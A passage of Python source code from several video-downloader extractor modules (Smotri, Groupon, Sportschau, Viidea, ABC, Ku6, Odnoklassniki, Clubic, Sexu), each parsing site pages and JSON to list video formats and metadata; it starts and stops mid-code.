                    <div\s+class="video_id">(?P<id>[^<]+)</div>''', webpage)
        if mobj is not None:
            return 'http://smotri.com/video/view/?id=%s' % mobj.group('id')

    def _search_meta(self, name, html, display_name=None):
        if display_name is None:
            display_name = name
        return self._html_search_meta(name, html, display_name)

    def _real_extract(self, url):
        video_id = self._match_id(url)

        video_form = {
            'ticket': video_id,
            'video_url': '1',
            'frame_url': '1',
            'devid': 'LoadupFlashPlayer',
            'getvideoinfo': '1',
        }

        video_password = self._downloader.params.get('videopassword')
        if video_password:
            video_form['pass'] = hashlib.md5(video_password.encode('utf-8')).hexdigest()

        video = self._download_json(
            'http://smotri.com/video/view/url/bot/',
            video_id, 'Downloading video JSON',
            data=urlencode_postdata(video_form),
            headers={'Content-Type': 'application/x-www-form-urlencoded'})

        video_url = video.get('_vidURL') or video.get('_vidURL_mp4')

        if not video_url:
            if video.get('_moderate_no'):
                raise ExtractorError(
                    'Video %s has not been approved by moderator' % video_id, expected=True)

            if video.get('error'):
                raise ExtractorError('Video %s does not exist' % video_id, expected=True)

            if video.get('_pass_protected') == 1:
                msg = ('Invalid video password' if video_password
                       else 'This video is protected by a password, use the --video-password option')
                raise ExtractorError(msg, expected=True)

        title = video['title']
        thumbnail = video.get('_imgURL')
        upload_date = unified_strdate(video.get('added'))
        uploader = video.get('userNick')
        uploader_id = video.get('userLogin')
        duration = int_or_none(video.get('duration'))

        # Video JSON does not provide enough meta data
        # We will extract some from the video web page instead
        webpage_url = 'http://smotri.com/video/view/?id=%s' % video_id
        webpage = self._download_webpage(webpage_url, video_id, 'Downloading video page')

        # Warning if video is unavailable
        warning = self._html_search_regex(
            r'<div[^>]+class="videoUnModer"[^>]*>(.+?)</div>', webpage,
            'warning message', default=None)
        if warning is not None:
            self._downloader.report_warning(
                'Video %s may not be available; smotri said: %s ' %
                (video_id, warning))

        # Adult content
        if 'EroConfirmText">' in webpage:
            self.report_age_confirmation()
            confirm_string = self._html_search_regex(
                r'<a[^>]+href="/video/view/\?id=%s&confirm=([^"]+)"' % video_id,
                webpage, 'confirm string')
            confirm_url = webpage_url + '&confirm=%s' % confirm_string
            webpage = self._download_webpage(
                confirm_url, video_id,
                'Downloading video page (age confirmed)')
            adult_content = True
        else:
            adult_content = False

        view_count = self._html_search_regex(
            r'(?s)Общее количество просмотров.*?<span class="Number">(\d+)</span>',
            webpage, 'view count', fatal=False)

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'thumbnail': thumbnail,
            'uploader': uploader,
            'upload_date': upload_date,
            'uploader_id': uploader_id,
            'duration': duration,
            'view_count': int_or_none(view_count),
            'age_limit': 18 if adult_content else 0,
        }


class SmotriCommunityIE(InfoExtractor):
    IE_DESC = 'Smotri.com community videos'
    IE_NAME = 'smotri:community'
    _VALID_URL = r'https?://(?:www\.)?smotri\.com/community/video/(?P<id>[0-9A-Za-z_\'-]+)'
    _TEST = {
        'url': 'http://smotri.com/community/video/kommuna',
        'info_dict': {
            'id': 'kommuna',
        },
        'playlist_mincount': 4,
    }

    def _real_extract(self, url):
        community_id = self._match_id(url)

        rss = self._download_xml(
            'http://smotri.com/export/rss/video/by/community/-/%s/video.xml' % community_id,
            community_id, 'Downloading community RSS')

        entries = [
            self.url_result(video_url.text, SmotriIE.ie_key())
            for video_url in rss.findall('./channel/item/link')]

        return self.playlist_result(entries, community_id)


class SmotriUserIE(InfoExtractor):
    IE_DESC = 'Smotri.com user videos'
    IE_NAME = 'smotri:user'
    _VALID_URL = r'https?://(?:www\.)?smotri\.com/user/(?P<id>[0-9A-Za-z_\'-]+)'
    _TESTS = [{
        'url': 'http://smotri.com/user/inspector',
        'info_dict': {
            'id': 'inspector',
            'title': 'Inspector',
        },
        'playlist_mincount': 9,
    }]

    def _real_extract(self, url):
        user_id = self._match_id(url)

        rss = self._download_xml(
            'http://smotri.com/export/rss/user/video/-/%s/video.xml' % user_id,
            user_id, 'Downloading user RSS')

        entries = [self.url_result(video_url.text, 'Smotri')
                   for video_url in rss.findall('./channel/item/link')]

        description_text = xpath_text(rss, './channel/description') or ''
        user_nickname = self._search_regex(
            '^Видео режиссера (.+)$', description_text,
            'user nickname', fatal=False)

        return self.playlist_result(entries, user_id, user_nickname)


class SmotriBroadcastIE(InfoExtractor):
    IE_DESC = 'Smotri.com broadcasts'
    IE_NAME = 'smotri:broadcast'
    _VALID_URL = r'https?://(?:www\.)?(?P<url>smotri\.com/live/(?P<id>[^/]+))/?.*'

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        broadcast_id = mobj.group('id')

        broadcast_url = 'http://' + mobj.group('url')
        broadcast_page = self._download_webpage(broadcast_url, broadcast_id, 'Downloading broadcast page')

        if re.search('>Режиссер с логином <br/>"%s"<br/> <span>не существует<' % broadcast_id, broadcast_page) is not None:
            raise ExtractorError(
                'Broadcast %s does not exist' % broadcast_id, expected=True)

        # Adult content
        if re.search('EroConfirmText">', broadcast_page) is not None:

            (username, password) = self._get_login_info()
            if username is None:
                self.raise_login_required(
                    'Erotic broadcasts allowed only for registered users')

            login_form = {
                'login-hint53': '1',
                'confirm_erotic': '1',
                'login': username,
                'password': password,
            }

            request = sanitized_Request(
                broadcast_url + '/?no_redirect=1', urlencode_postdata(login_form))
            request.add_header('Content-Type', 'application/x-www-form-urlencoded')
            broadcast_page = self._download_webpage(
                request, broadcast_id, 'Logging in and confirming age')

            if '>Неверный логин или пароль<' in broadcast_page:
                raise ExtractorError(
                    'Unable to log in: bad username or password', expected=True)

            adult_content = True
        else:
            adult_content = False

        ticket = self._html_search_regex(
            r"window\.broadcast_control\.addFlashVar\('file'\s*,\s*'([^']+)'\)",
            broadcast_page, 'broadcast ticket')

        url = 'http://smotri.com/broadcast/view/url/?ticket=%s' % ticket

        broadcast_password = self._downloader.params.get('videopassword')
        if broadcast_password:
            url += '&pass=%s' % hashlib.md5(broadcast_password.encode('utf-8')).hexdigest()

        broadcast_json_page = self._download_webpage(
            url, broadcast_id, 'Downloading broadcast JSON')

        try:
            broadcast_json = json.loads(broadcast_json_page)

            protected_broadcast = broadcast_json['_pass_protected'] == 1
            if protected_broadcast and not broadcast_password:
                raise ExtractorError(
                    'This broadcast is protected by a password, use the --video-password option',
                    expected=True)

            broadcast_offline = broadcast_json['is_play'] == 0
            if broadcast_offline:
                raise ExtractorError('Broadcast %s is offline' % broadcast_id, expected=True)

            rtmp_url = broadcast_json['_server']
            mobj = re.search(r'^rtmp://[^/]+/(?P<app>.+)/?$', rtmp_url)
            if not mobj:
                raise ExtractorError('Unexpected broadcast rtmp URL')

            broadcast_playpath = broadcast_json['_streamName']
            broadcast_app = '%s/%s' % (mobj.group('app'), broadcast_json['_vidURL'])
            broadcast_thumbnail = broadcast_json.get('_imgURL')
            broadcast_title = self._live_title(broadcast_json['title'])
            broadcast_description = broadcast_json.get('description')
            broadcaster_nick = broadcast_json.get('nick')
            broadcaster_login = broadcast_json.get('login')
            rtmp_conn = 'S:%s' % uuid.uuid4().hex
        except KeyError:
            if protected_broadcast:
                raise ExtractorError('Bad broadcast password', expected=True)
            raise ExtractorError('Unexpected broadcast JSON')

        return {
            'id': broadcast_id,
            'url': rtmp_url,
            'title': broadcast_title,
            'thumbnail': broadcast_thumbnail,
            'description': broadcast_description,
            'uploader': broadcaster_nick,
            'uploader_id': broadcaster_login,
            'age_limit': 18 if adult_content else 0,
            'ext': 'flv',
            'play_path': broadcast_playpath,
            'player_url': 'http://pics.smotri.com/broadcast_play.swf',
            'app': broadcast_app,
            'rtmp_live': True,
            'rtmp_conn': rtmp_conn,
            'is_live': True,
        }






from __future__ import unicode_literals

from .common import InfoExtractor


class GrouponIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?groupon\.com/deals/(?P<id>[^/?#&]+)'

    _TEST = {
        'url': 'https://www.groupon.com/deals/bikram-yoga-huntington-beach-2#ooid=tubGNycTo_9Uxg82uESj4i61EYX8nyuf',
        'info_dict': {
            'id': 'bikram-yoga-huntington-beach-2',
            'title': '$49 for 10 Yoga Classes or One Month of Unlimited Classes at Bikram Yoga Huntington Beach ($180 Value)',
            'description': 'Studio kept at 105 degrees and 40% humidity with anti-microbial and anti-slip Flotex flooring; certified instructors',
        },
        'playlist': [{
            'md5': '42428ce8a00585f9bc36e49226eae7a1',
            'info_dict': {
                'id': 'fk6OhWpXgIQ',
                'ext': 'mp4',
                'title': 'Bikram Yoga Huntington Beach | Orange County !tubGNycTo@9Uxg82uESj4i61EYX8nyuf',
                'description': 'md5:d41d8cd98f00b204e9800998ecf8427e',
                'duration': 45,
                'upload_date': '20160405',
                'uploader_id': 'groupon',
                'uploader': 'Groupon',
            },
            'add_ie': ['Youtube'],
        }],
        'params': {
            'skip_download': True,
        },
    }

    _PROVIDERS = {
        'ooyala': ('ooyala:%s', 'Ooyala'),
        'youtube': ('%s', 'Youtube'),
    }

    def _real_extract(self, url):
        playlist_id = self._match_id(url)
        webpage = self._download_webpage(url, playlist_id)

        payload = self._parse_json(self._search_regex(
            r'(?:var\s+|window\.)payload\s*=\s*(.*?);\n', webpage, 'payload'), playlist_id)
        videos = payload['carousel'].get('dealVideos', [])
        entries = []
        for v in videos:
            provider = v.get('provider')
            video_id = v.get('media') or v.get('id') or v.get('baseURL')
            if not provider or not video_id:
                continue
            url_pattern, ie_key = self._PROVIDERS.get(provider.lower())
            if not url_pattern:
                self.report_warning(
                    '%s: Unsupported video provider %s, skipping video' %
                    (playlist_id, provider))
                continue
            entries.append(self.url_result(url_pattern % video_id, ie_key))

        return {
            '_type': 'playlist',
            'id': playlist_id,
            'entries': entries,
            'title': self._og_search_title(webpage),
            'description': self._og_search_description(webpage),
        }






# coding: utf-8
from __future__ import unicode_literals

from .wdr import WDRBaseIE
from ..utils import get_element_by_attribute


class SportschauIE(WDRBaseIE):
    IE_NAME = 'Sportschau'
    _VALID_URL = r'https?://(?:www\.)?sportschau\.de/(?:[^/]+/)+video-?(?P<id>[^/#?]+)\.html'
    _TEST = {
        'url': 'http://www.sportschau.de/uefaeuro2016/videos/video-dfb-team-geht-gut-gelaunt-ins-spiel-gegen-polen-100.html',
        'info_dict': {
            'id': 'mdb-1140188',
            'display_id': 'dfb-team-geht-gut-gelaunt-ins-spiel-gegen-polen-100',
            'ext': 'mp4',
            'title': 'DFB-Team geht gut gelaunt ins Spiel gegen Polen',
            'description': 'Vor dem zweiten Gruppenspiel gegen Polen herrscht gute Stimmung im deutschen Team. Insbesondere Bastian Schweinsteiger strotzt vor Optimismus nach seinem Tor gegen die Ukraine.',
            'upload_date': '20160615',
        },
        'skip': 'Geo-restricted to Germany',
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)
        title = get_element_by_attribute('class', 'headline', webpage)
        description = self._html_search_meta('description', webpage, 'description')

        info = self._extract_wdr_video(webpage, video_id)

        info.update({
            'title': title,
            'description': description,
        })

        return info






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_urlparse,
    compat_str,
)
from ..utils import (
    parse_duration,
    js_to_json,
    parse_iso8601,
)


class ViideaIE(InfoExtractor):
    _VALID_URL = r'''(?x)https?://(?:www\.)?(?:
            videolectures\.net|
            flexilearn\.viidea\.net|
            presentations\.ocwconsortium\.org|
            video\.travel-zoom\.si|
            video\.pomp-forum\.si|
            tv\.nil\.si|
            video\.hekovnik.com|
            video\.szko\.si|
            kpk\.viidea\.com|
            inside\.viidea\.net|
            video\.kiberpipa\.org|
            bvvideo\.si|
            kongres\.viidea\.net|
            edemokracija\.viidea\.com
        )(?:/lecture)?/(?P<id>[^/]+)(?:/video/(?P<part>\d+))?/*(?:[#?].*)?$'''

    _TESTS = [{
        'url': 'http://videolectures.net/promogram_igor_mekjavic_eng/',
        'info_dict': {
            'id': '20171',
            'display_id': 'promogram_igor_mekjavic_eng',
            'ext': 'mp4',
            'title': 'Automatics, robotics and biocybernetics',
            'description': 'md5:815fc1deb6b3a2bff99de2d5325be482',
            'thumbnail': 're:http://.*\.jpg',
            'timestamp': 1372349289,
            'upload_date': '20130627',
            'duration': 565,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        # video with invalid direct format links (HTTP 403)
        'url': 'http://videolectures.net/russir2010_filippova_nlp/',
        'info_dict': {
            'id': '14891',
            'display_id': 'russir2010_filippova_nlp',
            'ext': 'flv',
            'title': 'NLP at Google',
            'description': 'md5:fc7a6d9bf0302d7cc0e53f7ca23747b3',
            'thumbnail': 're:http://.*\.jpg',
            'timestamp': 1284375600,
            'upload_date': '20100913',
            'duration': 5352,
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }, {
        # event playlist
        'url': 'http://videolectures.net/deeplearning2015_montreal/',
        'info_dict': {
            'id': '23181',
            'title': 'Deep Learning Summer School, Montreal 2015',
            'description': 'md5:0533a85e4bd918df52a01f0e1ebe87b7',
            'thumbnail': 're:http://.*\.jpg',
            'timestamp': 1438560000,
        },
        'playlist_count': 30,
    }, {
        # multi part lecture
        'url': 'http://videolectures.net/mlss09uk_bishop_ibi/',
        'info_dict': {
            'id': '9737',
            'display_id': 'mlss09uk_bishop_ibi',
            'title': 'Introduction To Bayesian Inference',
            'thumbnail': 're:http://.*\.jpg',
            'timestamp': 1251622800,
        },
        'playlist': [{
            'info_dict': {
                'id': '9737_part1',
                'display_id': 'mlss09uk_bishop_ibi_part1',
                'ext': 'wmv',
                'title': 'Introduction To Bayesian Inference (Part 1)',
                'thumbnail': 're:http://.*\.jpg',
                'duration': 4622,
                'timestamp': 1251622800,
                'upload_date': '20090830',
            },
        }, {
            'info_dict': {
                'id': '9737_part2',
                'display_id': 'mlss09uk_bishop_ibi_part2',
                'ext': 'wmv',
                'title': 'Introduction To Bayesian Inference (Part 2)',
                'thumbnail': 're:http://.*\.jpg',
                'duration': 5641,
                'timestamp': 1251622800,
                'upload_date': '20090830',
            },
        }],
        'playlist_count': 2,
    }]

    def _real_extract(self, url):
        lecture_slug, explicit_part_id = re.match(self._VALID_URL, url).groups()

        webpage = self._download_webpage(url, lecture_slug)

        cfg = self._parse_json(self._search_regex(
            [r'cfg\s*:\s*({.+?})\s*,\s*[\da-zA-Z_]+\s*:\s*\(?\s*function',
             r'cfg\s*:\s*({[^}]+})'],
            webpage, 'cfg'), lecture_slug, js_to_json)

        lecture_id = compat_str(cfg['obj_id'])

        base_url = self._proto_relative_url(cfg['livepipe'], 'http:')

        lecture_data = self._download_json(
            '%s/site/api/lecture/%s?format=json' % (base_url, lecture_id),
            lecture_id)['lecture'][0]

        lecture_info = {
            'id': lecture_id,
            'display_id': lecture_slug,
            'title': lecture_data['title'],
            'timestamp': parse_iso8601(lecture_data.get('time')),
            'description': lecture_data.get('description_wiki'),
            'thumbnail': lecture_data.get('thumb'),
        }

        playlist_entries = []
        lecture_type = lecture_data.get('type')
        parts = [compat_str(video) for video in cfg.get('videos', [])]
        if parts:
            multipart = len(parts) > 1

            def extract_part(part_id):
                smil_url = '%s/%s/video/%s/smil.xml' % (base_url, lecture_slug, part_id)
                smil = self._download_smil(smil_url, lecture_id)
                info = self._parse_smil(smil, smil_url, lecture_id)
                self._sort_formats(info['formats'])
                info['id'] = lecture_id if not multipart else '%s_part%s' % (lecture_id, part_id)
                info['display_id'] = lecture_slug if not multipart else '%s_part%s' % (lecture_slug, part_id)
                if multipart:
                    info['title'] += ' (Part %s)' % part_id
                switch = smil.find('.//switch')
                if switch is not None:
                    info['duration'] = parse_duration(switch.attrib.get('dur'))
                item_info = lecture_info.copy()
                item_info.update(info)
                return item_info

            if explicit_part_id or not multipart:
                result = extract_part(explicit_part_id or parts[0])
            else:
                result = {
                    '_type': 'multi_video',
                    'entries': [extract_part(part) for part in parts],
                }
                result.update(lecture_info)

            # Immediately return explicitly requested part or non event item
            if explicit_part_id or lecture_type != 'evt':
                return result

            playlist_entries.append(result)

        # It's probably a playlist
        if not parts or lecture_type == 'evt':
            playlist_webpage = self._download_webpage(
                '%s/site/ajax/drilldown/?id=%s' % (base_url, lecture_id), lecture_id)
            entries = [
                self.url_result(compat_urlparse.urljoin(url, video_url), 'Viidea')
                for _, video_url in re.findall(
                    r'<a[^>]+href=(["\'])(.+?)\1[^>]+id=["\']lec=\d+', playlist_webpage)]
            playlist_entries.extend(entries)

        playlist = self.playlist_result(playlist_entries, lecture_id)
        playlist.update(lecture_info)
        return playlist






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    js_to_json,
    int_or_none,
    parse_iso8601,
)


class ABCIE(InfoExtractor):
    IE_NAME = 'abc.net.au'
    _VALID_URL = r'https?://www\.abc\.net\.au/news/(?:[^/]+/){1,2}(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://www.abc.net.au/news/2014-11-05/australia-to-staff-ebola-treatment-centre-in-sierra-leone/5868334',
        'md5': 'cb3dd03b18455a661071ee1e28344d9f',
        'info_dict': {
            'id': '5868334',
            'ext': 'mp4',
            'title': 'Australia to help staff Ebola treatment centre in Sierra Leone',
            'description': 'md5:809ad29c67a05f54eb41f2a105693a67',
        },
        'skip': 'this video has expired',
    }, {
        'url': 'http://www.abc.net.au/news/2015-08-17/warren-entsch-introduces-same-sex-marriage-bill/6702326',
        'md5': 'db2a5369238b51f9811ad815b69dc086',
        'info_dict': {
            'id': 'NvqvPeNZsHU',
            'ext': 'mp4',
            'upload_date': '20150816',
            'uploader': 'ABC News (Australia)',
            'description': 'Government backbencher Warren Entsch introduces a cross-party sponsored bill to legalise same-sex marriage, saying the bill is designed to promote "an inclusive Australia, not a divided one.". Read more here: http://ab.co/1Mwc6ef',
            'uploader_id': 'NewsOnABC',
            'title': 'Marriage Equality: Warren Entsch introduces same sex marriage bill',
        },
        'add_ie': ['Youtube'],
        'skip': 'Not accessible from Travis CI server',
    }, {
        'url': 'http://www.abc.net.au/news/2015-10-23/nab-lifts-interest-rates-following-westpac-and-cba/6880080',
        'md5': 'b96eee7c9edf4fc5a358a0252881cc1f',
        'info_dict': {
            'id': '6880080',
            'ext': 'mp3',
            'title': 'NAB lifts interest rates, following Westpac and CBA',
            'description': 'md5:f13d8edc81e462fce4a0437c7dc04728',
        },
    }, {
        'url': 'http://www.abc.net.au/news/2015-10-19/6866214',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        mobj = re.search(
            r'inline(?P<type>Video|Audio|YouTube)Data\.push\((?P<json_data>[^)]+)\);',
            webpage)
        if mobj is None:
            expired = self._html_search_regex(r'(?s)class="expired-(?:video|audio)".+?<span>(.+?)</span>', webpage, 'expired', None)
            if expired:
                raise ExtractorError('%s said: %s' % (self.IE_NAME, expired), expected=True)
            raise ExtractorError('Unable to extract video urls')

        urls_info = self._parse_json(
            mobj.group('json_data'), video_id, transform_source=js_to_json)

        if not isinstance(urls_info, list):
            urls_info = [urls_info]

        if mobj.group('type') == 'YouTube':
            return self.playlist_result([
                self.url_result(url_info['url']) for url_info in urls_info])

        formats = [{
            'url': url_info['url'],
            'vcodec': url_info.get('codec') if mobj.group('type') == 'Video' else 'none',
            'width': int_or_none(url_info.get('width')),
            'height': int_or_none(url_info.get('height')),
            'tbr': int_or_none(url_info.get('bitrate')),
            'filesize': int_or_none(url_info.get('filesize')),
        } for url_info in urls_info]

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': self._og_search_title(webpage),
            'formats': formats,
            'description': self._og_search_description(webpage),
            'thumbnail': self._og_search_thumbnail(webpage),
        }


class ABCIViewIE(InfoExtractor):
    IE_NAME = 'abc.net.au:iview'
    _VALID_URL = r'https?://iview\.abc\.net\.au/programs/[^/]+/(?P<id>[^/?#]+)'

    _TESTS = [{
        'url': 'http://iview.abc.net.au/programs/gardening-australia/FA1505V024S00',
        'md5': '979d10b2939101f0d27a06b79edad536',
        'info_dict': {
            'id': 'FA1505V024S00',
            'ext': 'mp4',
            'title': 'Series 27 Ep 24',
            'description': 'md5:b28baeae7504d1148e1d2f0e3ed3c15d',
            'upload_date': '20160820',
            'uploader_id': 'abc1',
            'timestamp': 1471719600,
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        video_params = self._parse_json(self._search_regex(
            r'videoParams\s*=\s*({.+?});', webpage, 'video params'), video_id)
        title = video_params['title']
        stream = next(s for s in video_params['playlist'] if s.get('type') == 'program')

        formats = self._extract_akamai_formats(stream['hds-unmetered'], video_id)
        self._sort_formats(formats)

        subtitles = {}
        src_vtt = stream.get('captions', {}).get('src-vtt')
        if src_vtt:
            subtitles['en'] = [{
                'url': src_vtt,
                'ext': 'vtt',
            }]

        return {
            'id': video_id,
            'title': title,
            'description': self._html_search_meta(['og:description', 'twitter:description'], webpage),
            'thumbnail': self._html_search_meta(['og:image', 'twitter:image:src'], webpage),
            'duration': int_or_none(video_params.get('eventDuration')),
            'timestamp': parse_iso8601(video_params.get('pubDate'), ' '),
            'series': video_params.get('seriesTitle'),
            'series_id': video_params.get('seriesHouseNumber') or video_id[:7],
            'episode_number': int_or_none(self._html_search_meta('episodeNumber', webpage)),
            'episode': self._html_search_meta('episode_title', webpage),
            'uploader_id': video_params.get('channel'),
            'formats': formats,
            'subtitles': subtitles,
        }






from __future__ import unicode_literals

from .common import InfoExtractor


class Ku6IE(InfoExtractor):
    _VALID_URL = r'https?://v\.ku6\.com/show/(?P<id>[a-zA-Z0-9\-\_]+)(?:\.)*html'
    _TEST = {
        'url': 'http://v.ku6.com/show/JG-8yS14xzBr4bCn1pu0xw...html',
        'md5': '01203549b9efbb45f4b87d55bdea1ed1',
        'info_dict': {
            'id': 'JG-8yS14xzBr4bCn1pu0xw',
            'ext': 'f4v',
            'title': 'techniques test',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = self._html_search_regex(
            r'<h1 title=.*>(.*?)</h1>', webpage, 'title')
        dataUrl = 'http://v.ku6.com/fetchVideo4Player/%s.html' % video_id
        jsonData = self._download_json(dataUrl, video_id)
        downloadUrl = jsonData['data']['f']

        return {
            'id': video_id,
            'title': title,
            'url': downloadUrl
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import (
    compat_parse_qs,
    compat_urllib_parse_unquote,
    compat_urllib_parse_urlparse,
)
from ..utils import (
    ExtractorError,
    unified_strdate,
    int_or_none,
    qualities,
    unescapeHTML,
)


class OdnoklassnikiIE(InfoExtractor):
    _VALID_URL = r'https?://(?:(?:www|m|mobile)\.)?(?:odnoklassniki|ok)\.ru/(?:video(?:embed)?|web-api/video/moviePlayer)/(?P<id>[\d-]+)'
    _TESTS = [{
        # metadata in JSON
        'url': 'http://ok.ru/video/20079905452',
        'md5': '6ba728d85d60aa2e6dd37c9e70fdc6bc',
        'info_dict': {
            'id': '20079905452',
            'ext': 'mp4',
            'title': 'Культура меняет нас (прекрасный ролик!))',
            'duration': 100,
            'upload_date': '20141207',
            'uploader_id': '330537914540',
            'uploader': 'Виталий Добровольский',
            'like_count': int,
            'age_limit': 0,
        },
        'skip': 'Video has been blocked',
    }, {
        # metadataUrl
        'url': 'http://ok.ru/video/63567059965189-0?fromTime=5',
        'md5': '9676cf86eff5391d35dea675d224e131',
        'info_dict': {
            'id': '63567059965189-0',
            'ext': 'mp4',
            'title': 'Девушка без комплексов ...',
            'duration': 191,
            'upload_date': '20150518',
            'uploader_id': '534380003155',
            'uploader': '☭ Андрей Мещанинов ☭',
            'like_count': int,
            'age_limit': 0,
            'start_time': 5,
        },
    }, {
        # YouTube embed (metadataUrl, provider == USER_YOUTUBE)
        'url': 'http://ok.ru/video/64211978996595-1',
        'md5': '5d7475d428845cd2e13bae6f1a992278',
        'info_dict': {
            'id': '64211978996595-1',
            'ext': 'mp4',
            'title': 'Космическая среда от 26 августа 2015',
            'description': 'md5:848eb8b85e5e3471a3a803dae1343ed0',
            'duration': 440,
            'upload_date': '20150826',
            'uploader_id': '750099571',
            'uploader': 'Алина П',
            'age_limit': 0,
        },
    }, {
        # YouTube embed (metadata, provider == USER_YOUTUBE, no metadata.movie.title field)
        'url': 'http://ok.ru/video/62036049272859-0',
        'info_dict': {
            'id': '62036049272859-0',
            'ext': 'mp4',
            'title': 'МУЗЫКА     ДОЖДЯ .',
            'description': 'md5:6f1867132bd96e33bf53eda1091e8ed0',
            'upload_date': '20120106',
            'uploader_id': '473534735899',
            'uploader': 'МARINA D',
            'age_limit': 0,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://ok.ru/web-api/video/moviePlayer/20079905452',
        'only_matching': True,
    }, {
        'url': 'http://www.ok.ru/video/20648036891',
        'only_matching': True,
    }, {
        'url': 'http://www.ok.ru/videoembed/20648036891',
        'only_matching': True,
    }, {
        'url': 'http://m.ok.ru/video/20079905452',
        'only_matching': True,
    }, {
        'url': 'http://mobile.ok.ru/video/20079905452',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        start_time = int_or_none(compat_parse_qs(
            compat_urllib_parse_urlparse(url).query).get('fromTime', [None])[0])

        video_id = self._match_id(url)

        webpage = self._download_webpage(
            'http://ok.ru/video/%s' % video_id, video_id)

        error = self._search_regex(
            r'[^>]+class="vp_video_stub_txt"[^>]*>([^<]+)<',
            webpage, 'error', default=None)
        if error:
            raise ExtractorError(error, expected=True)

        player = self._parse_json(
            unescapeHTML(self._search_regex(
                r'data-options=(?P<quote>["\'])(?P<player>{.+?%s.+?})(?P=quote)' % video_id,
                webpage, 'player', group='player')),
            video_id)

        flashvars = player['flashvars']

        metadata = flashvars.get('metadata')
        if metadata:
            metadata = self._parse_json(metadata, video_id)
        else:
            metadata = self._download_json(
                compat_urllib_parse_unquote(flashvars['metadataUrl']),
                video_id, 'Downloading metadata JSON')

        movie = metadata['movie']

        # Some embedded videos may not contain title in movie dict (e.g.
        # http://ok.ru/video/62036049272859-0) thus we allow missing title
        # here and it's going to be extracted later by an extractor that
        # will process the actual embed.
        provider = metadata.get('provider')
        title = movie['title'] if provider == 'UPLOADED_ODKL' else movie.get('title')

        thumbnail = movie.get('poster')
        duration = int_or_none(movie.get('duration'))

        author = metadata.get('author', {})
        uploader_id = author.get('id')
        uploader = author.get('name')

        upload_date = unified_strdate(self._html_search_meta(
            'ya:ovs:upload_date', webpage, 'upload date', default=None))

        age_limit = None
        adult = self._html_search_meta(
            'ya:ovs:adult', webpage, 'age limit', default=None)
        if adult:
            age_limit = 18 if adult == 'true' else 0

        like_count = int_or_none(metadata.get('likeCount'))

        info = {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'duration': duration,
            'upload_date': upload_date,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'like_count': like_count,
            'age_limit': age_limit,
            'start_time': start_time,
        }

        if provider == 'USER_YOUTUBE':
            info.update({
                '_type': 'url_transparent',
                'url': movie['contentId'],
            })
            return info

        quality = qualities(('mobile', 'lowest', 'low', 'sd', 'hd'))

        formats = [{
            'url': f['url'],
            'ext': 'mp4',
            'format_id': f['name'],
            'quality': quality(f['name']),
        } for f in metadata['videos']]
        self._sort_formats(formats)

        info['formats'] = formats
        return info






# coding: utf-8
from __future__ import unicode_literals

import json
import re

from .common import InfoExtractor
from ..utils import (
    clean_html,
    qualities,
)


class ClubicIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?clubic\.com/video/(?:[^/]+/)*video.*-(?P<id>[0-9]+)\.html'

    _TESTS = [{
        'url': 'http://www.clubic.com/video/clubic-week/video-clubic-week-2-0-le-fbi-se-lance-dans-la-photo-d-identite-448474.html',
        'md5': '1592b694ba586036efac1776b0b43cd3',
        'info_dict': {
            'id': '448474',
            'ext': 'mp4',
            'title': 'Clubic Week 2.0 : le FBI se lance dans la photo d\u0092identité',
            'description': 're:Gueule de bois chez Nokia. Le constructeur a indiqué cette.*',
            'thumbnail': 're:^http://img\.clubic\.com/.*\.jpg$',
        }
    }, {
        'url': 'http://www.clubic.com/video/video-clubic-week-2-0-apple-iphone-6s-et-plus-mais-surtout-le-pencil-469792.html',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        player_url = 'http://player.m6web.fr/v1/player/clubic/%s.html' % video_id
        player_page = self._download_webpage(player_url, video_id)

        config_json = self._search_regex(
            r'(?m)M6\.Player\.config\s*=\s*(\{.+?\});$', player_page,
            'configuration')
        config = json.loads(config_json)

        video_info = config['videoInfo']
        sources = config['sources']
        quality_order = qualities(['sd', 'hq'])

        formats = [{
            'format_id': src['streamQuality'],
            'url': src['src'],
            'quality': quality_order(src['streamQuality']),
        } for src in sources]
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': video_info['title'],
            'formats': formats,
            'description': clean_html(video_info.get('description')),
            'thumbnail': config.get('poster'),
        }






from __future__ import unicode_literals

from .common import InfoExtractor


class SexuIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?sexu\.com/(?P<id>\d+)'
    _TEST = {
        'url': 'http://sexu.com/961791/',
        'md5': 'ff615aca9691053c94f8f10d96cd7884',
        'info_dict': {
            'id': '961791',
            'ext': 'mp4',
            'title': 'md5:4d05a19a5fc049a63dbbaf05fb71d91b',
            'description': 'md5:2b75327061310a3afb3fbd7d09e2e403',
            'categories': list,  # NSFW
            'thumbnail': 're:https?://.*\.jpg$',
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        jwvideo = self._parse_json(
            self._search_regex(r'\.setup\(\s*({.+?})\s*\);', webpage, 'jwvideo'),
            video_id)

        sources = jwvideo['sources']

        formats = [{
            'url': source['file'].replace('\\', ''),
            'format_id': source.get('label'),
            'height': self._search_regex(
